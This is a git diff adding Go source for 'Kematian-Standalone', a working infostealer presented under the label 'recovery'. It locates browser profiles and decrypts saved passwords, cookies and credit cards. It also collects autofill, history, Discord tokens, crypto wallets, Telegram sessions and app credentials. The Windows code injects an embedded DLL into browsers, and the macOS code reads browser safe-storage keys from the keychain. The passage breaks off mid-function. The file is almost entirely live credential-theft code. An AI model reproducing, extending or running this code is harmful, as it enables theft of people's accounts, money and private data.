e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/Kematian-Standalone/native/recovery/browser/browser_linux.go b/Kematian-Standalone/native/recovery/browser/browser_linux.go new file mode 100644 index 0000000..b4e7ad1 --- /dev/null +++ b/Kematian-Standalone/native/recovery/browser/browser_linux.go @@ -0,0 +1,112 @@ +//go:build linux + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // Chromium family + {Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"}, + {Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"}, + {Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"}, + {Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"}, + {Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"}, + {Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"}, + {Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"}, + {Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true}, + // Firefox family + {Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true}, + {Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true}, +} + +func GetLocalAppData() string { + home, _ := os.UserHomeDir() + return filepath.Join(home, ".config") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + if cfg.IsFirefox { + home, _ := os.UserHomeDir() + return filepath.Join(home, cfg.UserDataPath) + } + return filepath.Join(GetLocalAppData(), cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := root + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/Kematian-Standalone/native/recovery/browser/browser_windows.go b/Kematian-Standalone/native/recovery/browser/browser_windows.go new file mode 100644 index 0000000..d4fc4f8 --- /dev/null +++ b/Kematian-Standalone/native/recovery/browser/browser_windows.go @@ -0,0 +1,113 @@ +//go:build windows + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // ── Chromium family (LOCALAPPDATA) ──────────────────────────────────────── + {Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"}, + {Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"}, + {Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"}, + {Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"}, + {Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"}, + {Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"}, + // ── Opera (APPDATA, flat profile) ──────────────────────────────────────── + // ts doesn't work will fix in the future + {Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true}, + {Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true}, + // ── Firefox family (APPDATA, Firefox profile layout) ───────────────────── + {Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true}, + {Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true}, +} + +func GetLocalAppData() string { + return os.Getenv("LOCALAPPDATA") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + base := os.Getenv("LOCALAPPDATA") + if cfg.UseAppData { + base = os.Getenv("APPDATA") + } + return filepath.Join(base, cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := filepath.Join(root, "Profiles") + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/Kematian-Standalone/native/recovery/browser/log.go b/Kematian-Standalone/native/recovery/browser/log.go new file mode 100644 index 0000000..d853c18 --- /dev/null +++ b/Kematian-Standalone/native/recovery/browser/log.go @@ -0,0 +1,7 @@ +package browser + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[browser] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/chromium/chromium.go b/Kematian-Standalone/native/recovery/chromium/chromium.go new file mode 100644 index 0000000..465647a --- /dev/null +++ b/Kematian-Standalone/native/recovery/chromium/chromium.go @@ -0,0 +1,316 @@ +package chromium + +import ( + "database/sql" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/crypto" + "recovery/recovery/db" + "recovery/recovery/types" +) + +const HistoryLimit = 5000 + +func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult { + var results []types.PasswordResult + + for _, dbFile := range []string{"Login Data", "Login Data For Account"} { + dbPath := filepath.Join(profile.Path, dbFile) + if _, err := os.Stat(dbPath); err != nil { + continue + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + continue + } + + rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins") + if err != nil { + d.Close() + continue + } + for rows.Next() { + var url, username sql.NullString + var passwordBlob []byte + rows.Scan(&url, &username, &passwordBlob) + password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20) + if dbFile == "Login Data For Account" && password == "" { + continue + } + if url.String != "" && (username.String != "" || password != "") { + results = append(results, types.PasswordResult{ + URL: url.String, + Username: username.String, + Password: password, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + d.Close() + } + + return results +} + +func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult { + dbPath := filepath.Join(profile.Path, "Network", "Cookies") + if _, err := os.Stat(dbPath); err != nil { + dbPath = filepath.Join(profile.Path, "Cookies") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + } + + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err) + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies") + if err != nil { + logf("cookie query failed for %s: %v", cfg.Name, err) + return nil + } + defer rows.Close() + + var results []types.CookieResult + count := 0 + for rows.Next() { + count++ + var host, name, path, plainValue sql.NullString + var secure, httpOnly sql.NullBool + var expiresUTC sql.NullInt64 + var encryptedValue []byte + + rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue) + value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20) + if value == "" { + value = plainValue.String + } + results = append(results, types.CookieResult{ + Host: host.String, + Name: name.String, + Value: value, + Path: path.String, + Secure: secure.Bool, + HTTPOnly: httpOnly.Bool, + ExpiresUTC: expiresUTC.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + logf("cookie row count for %s: %d", cfg.Name, count) + return results +} + +func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult { + dbPath := filepath.Join(profile.Path, "Web Data") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + queries := []string{ + "SELECT name, value, date_created, count FROM autofill", + "SELECT name, value, count FROM autofill", + "SELECT name, value FROM autofill", + } + + var results []types.AutofillResult + for _, q := range queries { + rows, err := d.Query(q) + if err != nil { + continue + } + for rows.Next() { + var name, value sql.NullString + var dateCreated, count sql.NullInt64 + switch len(strings.Split(q, ",")) { + case 4: + rows.Scan(&name, &value, &dateCreated, &count) + case 3: + rows.Scan(&name, &value, &count) + default: + rows.Scan(&name, &value) + } + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + DateCreated: dateCreated.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + if len(results) > 0 { + break + } + } + return results +} + +func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult { + dbPath := filepath.Join(profile.Path, "History") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + queries := []string{ + fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit), + fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit), + } + + var results []types.HistoryResult + for _, q := range queries { + rows, err := d.Query(q) + if err != nil { + continue + } + for rows.Next() { + var url, title sql.NullString + var visitTime sql.NullInt64 + var transition, duration sql.NullInt64 + + if strings.Contains(q, "visit_duration") { + rows.Scan(&url, &title, &visitTime, &transition, &duration) + } else { + rows.Scan(&url, &title, &visitTime, &transition) + } + + var visitTimeUnix int64 + if visitTime.Int64 > 0 { + visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000 + } + if url.String != "" { + results = append(results, types.HistoryResult{ + URL: url.String, + Title: title.String, + VisitTimeUnix: visitTimeUnix, + VisitCount: duration.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + if len(results) > 0 { + break + } + } + return results +} + +func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult { + bookmarkPath := filepath.Join(profile.Path, "Bookmarks") + data, err := os.ReadFile(bookmarkPath) + if err != nil { + return nil + } + + var bookmarkData map[string]interface{} + if err := json.Unmarshal(data, &bookmarkData); err != nil { + return nil + } + + var results []types.BookmarkResult + if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok { + walkBookmarkNode(roots, cfg.Name, profile.Name, &results) + } + return results +} + +func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) { + for _, key := range []string{"bookmark_bar", "other", "synced"} { + if child, ok := node[key].(map[string]interface{}); ok { + walkBookmarkChildren(child, browser, profileName, results) + } + } +} + +func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) { + children, ok := node["children"].([]interface{}) + if !ok { + return + } + for _, c := range children { + child, ok := c.(map[string]interface{}) + if !ok { + continue + } + switch child["type"] { + case "url": + name, _ := child["name"].(string) + url, _ := child["url"].(string) + if url != "" { + *results = append(*results, types.BookmarkResult{ + Name: name, + URL: url, + Type: "url", + Browser: browser, + Profile: profileName, + }) + } + case "folder": + walkBookmarkChildren(child, browser, profileName, results) + } + } +} + +func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult { + dbPath := filepath.Join(profile.Path, "Web Data") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards") + if err != nil { + return nil + } + defer rows.Close() + + var results []types.CreditCardResult + for rows.Next() { + var name, nickname sql.NullString + var expMonth, expYear sql.NullInt64 + var encrypted []byte + rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname) + + cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20) + if name.String != "" || cardNumber != "" { + results = append(results, types.CreditCardResult{ + NameOnCard: name.String, + ExpirationMonth: int(expMonth.Int64), + ExpirationYear: int(expYear.Int64), + CardNumber: cardNumber, + Nickname: nickname.String, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} diff --git a/Kematian-Standalone/native/recovery/chromium/log.go b/Kematian-Standalone/native/recovery/chromium/log.go new file mode 100644 index 0000000..86b1cfa --- /dev/null +++ b/Kematian-Standalone/native/recovery/chromium/log.go @@ -0,0 +1,7 @@ +package chromium + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[chromium] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/collect.go b/Kematian-Standalone/native/recovery/collect.go new file mode 100644 index 0000000..fae1cf3 --- /dev/null +++ b/Kematian-Standalone/native/recovery/collect.go @@ -0,0 +1,399 @@ +package recovery + +import ( + "context" + "fmt" + "sync" + + "recovery/recovery/browser" + "recovery/recovery/chromium" + "recovery/recovery/crypto" + "recovery/recovery/discord" + "recovery/recovery/firefox" + "recovery/recovery/platform" + "recovery/recovery/scanner" + "recovery/recovery/types" +) + +func mergeInto(dst, src *types.CollectionResult) { + dst.Passwords = append(dst.Passwords, src.Passwords...) + dst.Cookies = append(dst.Cookies, src.Cookies...) + dst.Autofill = append(dst.Autofill, src.Autofill...) + dst.History = append(dst.History, src.History...) + dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...) + dst.CreditCards = append(dst.CreditCards, src.CreditCards...) + dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...) + dst.Files = append(dst.Files, src.Files...) + dst.Wallets = append(dst.Wallets, src.Wallets...) + dst.Telegram = append(dst.Telegram, src.Telegram...) + dst.Keys = append(dst.Keys, src.Keys...) + dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...) + if src.Gaming != nil { + dst.Gaming = src.Gaming + } + if src.VPNs != nil { + dst.VPNs = src.VPNs + } + dst.Errors = append(dst.Errors, src.Errors...) +} + +func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) { + result := &types.CollectionResult{} + + platform.ResetHandleCache() + defer platform.ResetHandleCache() + + var ( + mu sync.Mutex + wg sync.WaitGroup + ) + + launchScans(opts, result, partialFn, &wg, &mu) + + platformSetupCollect() + defer platformTeardownCollect() + + needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill || + opts.History || opts.Bookmarks || opts.CreditCards + + type job struct { + cfg types.BrowserConfig + keys *types.ResolvedKeys + profile types.ProfileInfo + pids []uint32 + } + + jobCh := make(chan job, 64) + + // Launch extraction workers up front so they can consume jobs as soon as + // each browser's keys resolve, instead of waiting for every browser's key + // resolution (and its headless spawn) to finish first. + const workers = 4 + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("browser profile extraction", &result.Errors, &mu) + for j := range jobCh { + select { + case <-ctx.Done(): + return + default: + } + func() { + defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu) + partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts) + mu.Lock() + mergeInto(result, partial) + mu.Unlock() + if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 || + len(partial.Autofill) > 0 || len(partial.History) > 0 || + len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) { + partialFn(partial) + } + }() + } + }() + } + + if needsBrowserData { + const keyWorkers = 3 + sem := make(chan struct{}, keyWorkers) + var keyWg sync.WaitGroup + for _, cfg := range browser.Browsers { + profiles := browser.FindProfileDirs(cfg) + if len(profiles) == 0 { + continue + } + keyWg.Add(1) + go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) { + defer keyWg.Done() + sem <- struct{}{} + defer func() { <-sem }() + + logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles)) + keys, err := crypto.ResolveKeys(cfg) + if err != nil { + logf("%s key resolution failed: %v", cfg.Name, err) + keys = &types.ResolvedKeys{} + mu.Lock() + result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err)) + mu.Unlock() + } + pids, _ := platform.FindProcesses(cfg.ProcessName) + + for _, p := range profiles { + select { + case jobCh <- job{cfg, keys, p, pids}: + case <-ctx.Done(): + logf("collection deadline reached; stopping job producer for %s", cfg.Name) + return + } + } + }(cfg, profiles) + } + + go func() { + keyWg.Wait() + close(jobCh) + }() + } else { + close(jobCh) + } + + wg.Wait() + + if err := ctx.Err(); err != nil { + note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err) + result.Errors = append(result.Errors, note) + logf("%s", note) + } + + return result, nil +} + +func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) { + if opts.Discord { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("discord token extraction", &result.Errors, mu) + tokens := discord.ExtractTokens() + if len(tokens) > 0 { + mu.Lock() + result.DiscordTokens = append(result.DiscordTokens, tokens...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{DiscordTokens: tokens}) + } + } + }() + } + + if opts.Files { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("file scan", &result.Errors, mu) + files := scanner.ScanFiles() + if len(files) > 0 { + mu.Lock() + result.Files = append(result.Files, files...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Files: files}) + } + } + }() + } + + if opts.Wallets { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("wallet scan", &result.Errors, mu) + wallets := scanner.ScanWallets() + if len(wallets) > 0 { + mu.Lock() + result.Wallets = append(result.Wallets, wallets...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Wallets: wallets}) + } + } + }() + } + + if opts.Telegram { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("telegram scan", &result.Errors, mu) + sessions := scanner.ScanTelegram() + if len(sessions) > 0 { + mu.Lock() + result.Telegram = append(result.Telegram, sessions...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Telegram: sessions}) + } + } + }() + } + + if opts.Keys { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("key scan", &result.Errors, mu) + keys := scanner.ScanKeys() + if len(keys) > 0 { + mu.Lock() + result.Keys = append(result.Keys, keys...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Keys: keys}) + } + } + }() + } + + if opts.Apps { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("app credentials scan", &result.Errors, mu) + apps := scanner.ScanApps() + if len(apps) > 0 { + mu.Lock() + result.AppCredentials = append(result.AppCredentials, apps...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{AppCredentials: apps}) + } + } + }() + } + + if opts.Gaming { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("gaming scan", &result.Errors, mu) + gaming := ScanGaming() + if gaming != nil { + mu.Lock() + result.Gaming = gaming + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Gaming: gaming}) + } + } + }() + } + + if opts.VPNs { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("vpn scan", &result.Errors, mu) + vpns := ScanVPNs() + if vpns != nil { + mu.Lock() + result.VPNs = vpns + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{VPNs: vpns}) + } + } + }() + } +} + +func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult { + partial := &types.CollectionResult{} + var ( + wg sync.WaitGroup + eMu sync.Mutex + errs []string + ) + label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name) + + if cfg.IsFirefox { + if opts.Passwords { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" password extraction", &errs, &eMu) + partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids) + }() + } + if opts.Cookies { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" cookie extraction", &errs, &eMu) + partial.Cookies = firefox.ExtractCookies(profile, cfg) + }() + } + if opts.Autofill { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" autofill extraction", &errs, &eMu) + partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids) + }() + } + if opts.History { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" history extraction", &errs, &eMu) + partial.History = firefox.ExtractHistory(profile, cfg) + }() + } + if opts.Bookmarks { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" bookmark extraction", &errs, &eMu) + partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg) + }() + } + wg.Wait() + partial.Errors = errs + return partial + } + + if opts.Passwords { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" password extraction", &errs, &eMu) + partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids) + }() + } + if opts.Cookies { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" cookie extraction", &errs, &eMu) + partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids) + }() + } + if opts.Autofill { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" autofill extraction", &errs, &eMu) + partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids) + }() + } + if opts.History { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" history extraction", &errs, &eMu) + partial.History = chromium.ExtractHistory(profile, cfg, pids) + }() + } + if opts.Bookmarks { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" bookmark extraction", &errs, &eMu) + partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg) + }() + } + if opts.CreditCards { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" credit card extraction", &errs, &eMu) + partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids) + }() + } + wg.Wait() + partial.Errors = errs + return partial +} diff --git a/Kematian-Standalone/native/recovery/collect_stub.go b/Kematian-Standalone/native/recovery/collect_stub.go new file mode 100644 index 0000000..0d1da7d --- /dev/null +++ b/Kematian-Standalone/native/recovery/collect_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package recovery + +func platformSetupCollect() {} + +func platformTeardownCollect() {} diff --git a/Kematian-Standalone/native/recovery/collect_windows.go b/Kematian-Standalone/native/recovery/collect_windows.go new file mode 100644 index 0000000..feb102c --- /dev/null +++ b/Kematian-Standalone/native/recovery/collect_windows.go @@ -0,0 +1,41 @@ +//go:build windows + +package recovery + +import ( + "os" + + "recovery/recovery/browser" + "recovery/recovery/platform" +) + +func platformSetupCollect() { + if os.Getenv("KEMATIAN_NO_INJECT") != "" { + logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only") + return + } + + dllBytes := platform.GetEmbeddedDLL() + if dllBytes != nil { + for _, cfg := range browser.Browsers { + logf("attempting DLL injection into %s", cfg.Name) + session, err := platform.CreatePipeSession(dllBytes, cfg.Name) + if err != nil { + logf("inject %s failed: %v", cfg.Name, err) + continue + } + _ = session + logf("pipe session established with %s", cfg.Name) + break + } + } else { + logf("no embedded DLL — direct file access only") + } +} + +func platformTeardownCollect() { + if platform.ActivePipeSession != nil { + platform.ActivePipeSession.Close() + platform.ActivePipeSession = nil + } +} diff --git a/Kematian-Standalone/native/recovery/crypto/crypto.go b/Kematian-Standalone/native/recovery/crypto/crypto.go new file mode 100644 index 0000000..39a109e --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/crypto.go @@ -0,0 +1,31 @@ +package crypto + +import "strings" + +func CleanPassword(data []byte) string { + s := string(data) + allPrint := true + for _, c := range s { + if c < 32 && c != '\t' && c != '\n' && c != '\r' { + allPrint = false + break + } + } + if allPrint { + return strings.TrimSpace(s) + } + if len(data) > 32 { + s2 := string(data[32:]) + allPrint2 := true + for _, c := range s2 { + if c < 32 && c != '\t' && c != '\n' && c != '\r' { + allPrint2 = false + break + } + } + if allPrint2 { + return strings.TrimSpace(s2) + } + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/crypto/crypto_darwin.go b/Kematian-Standalone/native/recovery/crypto/crypto_darwin.go new file mode 100644 index 0000000..e320d13 --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/crypto_darwin.go @@ -0,0 +1,163 @@ +//go:build darwin + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/sha1" + "encoding/json" + "fmt" + "os" + "os/exec" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" + + "golang.org/x/crypto/pbkdf2" +) + +const ( + darwinChromeSalt = "saltysalt" + darwinChromeIterations = 1003 + darwinChromeKeyLen = 16 +) + +var chromeKeychainServices = map[string]string{ + "Chrome": "Chrome Safe Storage", + "Chrome Beta": "Chrome Safe Storage", + "Chrome Canary": "Chrome Safe Storage", + "Chromium": "Chromium Safe Storage", + "Edge": "Microsoft Edge Safe Storage", + "Brave": "Brave Safe Storage", + "Vivaldi": "Vivaldi Safe Storage", + "Opera": "Opera Safe Storage", + "Opera GX": "Opera Safe Storage", + "Arc": "Arc Safe Storage", + "Yandex": "Yandex Safe Storage", +} + +func getKeychainPassword(browserName string) (string, error) { + service, ok := chromeKeychainServices[browserName] + if !ok { + service = browserName + " Safe Storage" + } + + cmd := exec.Command("security", "find-generic-password", "-wa", service) + out, err := cmd.Output() + if err != nil { + return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err) + } + return strings.TrimSpace(string(out)), nil +} + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + localStatePath := browser.LocalStatePath(cfg) + if _, err := os.Stat(localStatePath); err != nil { + // fuck it we still trying + return resolveKeyFromKeychain(cfg) + } + + data, err := os.ReadFile(localStatePath) + if err != nil { + return resolveKeyFromKeychain(cfg) + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + return resolveKeyFromKeychain(cfg) + } + + return resolveKeyFromKeychain(cfg) +} + +func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + password, err := getKeychainPassword(cfg.Name) + if err != nil { + return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err) + } + + key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + if len(encrypted) < 3 { + return "" + } + prefix := string(encrypted[:3]) + if prefix != "v10" && prefix != "v11" { + return "" + } + + key := v10Key + if key == nil || len(key) == 0 { + return "" + } + + ciphertext := encrypted[3:] + if 